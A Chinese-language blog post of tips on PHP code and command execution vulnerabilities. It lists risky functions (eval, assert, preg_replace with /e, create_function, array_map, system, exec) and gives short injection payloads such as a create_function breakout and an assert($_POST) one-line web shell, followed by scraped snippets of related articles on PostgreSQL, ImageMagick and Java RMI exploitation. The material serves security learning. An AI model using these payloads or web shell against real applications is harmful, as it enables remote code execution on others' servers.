命令执行tips

介绍:

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

代码执行

${}执行代码
eval
assert
preg_replace
create_function()
call_user_func()/call_user_func_array()
array_filter()

方法:

${phpinfo()};
eval(‘echo hsy;‘);
//url?x=phpinfo()
<?php assert($_POST[‘x‘]); ?>

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

tips

$b = preg_replace("/abc/e",$b,‘abcd‘);

create_function()

函数create_function主要用来创建匿名函数

string create_function ( string $args , string $code )

例子:

<?php
$x= create_function(‘$x‘,‘echo $x+1;‘);
$x(1);
?>output:2

当我在构造匿名函数第二个参数的位置放置我想执行的语句时,这个语句就会成立。

$a = ‘phpinfo()‘;
$b = create_function(" ",$a);
$b();
?>

借鉴了网上的一个例子:

<?php

$id = $_GET[‘id‘];

$code = ‘echo $name.‘.‘的编号是‘.$id.‘;‘;

$b = create_function(‘$name‘,$code);
function ss($name){
    echo $name ."编号".$id;
}
$b(‘sd‘);

?>

构造payload:

?id=2;}phpinfo();/* 

传入后代码执行结果:

function ss($name){
    echo $name ."编号".2;
}phpinfo();/*
}
$b(‘sd‘);

array_map()

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

不难理解哈,就是第一个参数作为自定义的函数,后一个参数作为数组下标。

<?php
$a = $_GET[‘a‘];

$b = $_GET[‘b‘];

$array[0] = $b;

$c = array_map($a,$array);

?>
//?a=assert&b=phpinfo();

命令执行

    system()

    passthru()

    exec()

    shell_exec()

    `反引号

    ob_start()

    mail函数+LD_PRELOAD执行系统命令

    system()
  • system

  • passthru()

  • exec()

  • shell_exec()

  • `反引号

敏感字符绕过

原文地址:https://www.cnblogs.com/sylover/p/10850690.html

时间: 2024-10-10 21:01:42

命令执行tips的相关文章

PostgreSql那点事(文件读取写入、命令执行的办法)

? 2013/07/9 作者: admin PostgreSql那点事(文件读取写入.命令执行的办法) 今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不做讨论,个人比较关心PostgreSQL的文件读取和命令执行方面. 1,文件读取/写入 PostgreSQL 8.1 以后提供了一组现成的文件操作函数 pg_logdir_ls().pg_ls_dir().pg_file_rename().pg_file_write(). pg_read_file(

ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞. 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的. 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商.我们先来分析一下它出现的原

我是如何从一个xss到某个浏览器的远程命令执行

0x01 前言:其实我是个小白平时就喜欢瞎搞,无意间碰到一个浏览器就想一探究竟,好了废话不多说开始!!! 0x02 可以看到我打开的新标签是怎么一个链接页面,既然是页面我是不可以XSS它呢? 于是我就打开了控制器输入XSS代码如下图: 输入payload发现能成功弹窗,我们来假设如果这个浏览器的本地域既然能弹XSS是不可以弹出其他的呢? 没错确实能弹出其他的,如图: 没错我弹出了他的CMD窗口,我们来ipconfig一下 可以看到成功弹出了,我们再来弹出它的计算器试试如图: 是不是很神奇就出来了

Metasploit溢出java RMI SERVER命令执行漏洞

利用java RMI SERVER命令执行漏洞,获得目标主机root权限. Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行. 一.利用nmap工具扫描目标主机 1.1使用nmap命令对目标主机进行扫描.单击桌面空白处,右键菜单选择"在终端中打开". 1.2在终端中输入命令"nmap –sV  192.168.1.3",对目标主机进行端口扫描,发现开放1099端口. 1.3在终端中输入命令"msfco

[转]Windows中的命令行提示符里的Start命令执行路径包含空格时的问题

转自:http://www.x2009.net/articles/windows-command-line-prompt-start-path-space.html 当使用Windows 中的命令行提示符执行这段指令时(测试Start命令执行带空格的路径的程序或文件问题),第一行Start会成功执行,跳出记事本程序,而第二行,会 Start跳出一个新的命令提示符,标题上写着路径,但是不会执行任何命令,第三行Start命令行提示符会提示C:\Program文件不存在,提示无 法执行. start

Linux命令执行顺序— ||和&amp;&amp;和; 比较

Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. command1 || command2: 如果||左边的command1执行失败(返回1表示失败),就执行&&右边的command2. command1;command2: 命令顺序执行 //第一个命令执行不成功,第二个命令才执行 [[email

CentOS 7.3验证Linux命令执行的优先级

在Linux中,不同的目录下可能有相同的文件.虽然同名,两个文件的作用却完全不同. 执行同一命令,可能会显示完全不同的结果.如pwd本来显示当前工作目录,我们却可以定义别名使它输出时间. 要了解命令执行的先后顺序,首先我们要明白内部命令和外部命令的不同.使用type command可以查看命令类型. 我们可以看到以上四个命令的显示结果是完全不同的. 这里pwd是内部命令,cal是hash(缓存)命令,ls是别名,date则是外部命令. 这里要引进一个变量PATH,通过echo,我们可以查看变量P

命令执行的tip

先看一个例子:本地测试环境:php 5.4.45 + win <?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?> 应该如何去绕过执行? escapeshellcmd http://php.

bash的工作特性之命令执行返回值和命令展开的内容及练习示例

命令执行返回值: hell中,$? 就是上一个执行命令或的返回码, 例如   执行命令xxxxx echo $?  就输出了执行命令xxxxx的返回码,当然也可以把$?保存到一个变量中,用于后续的计算或者其他判断逻辑. 通过 $? 获取上一次命令执行的结果,0表示成功,非0表示失败. 命令展开: (1)创建/tmp目录下的:a_c, a_d , b_c, b_d (2)创建/tmp/mylinux目录下的: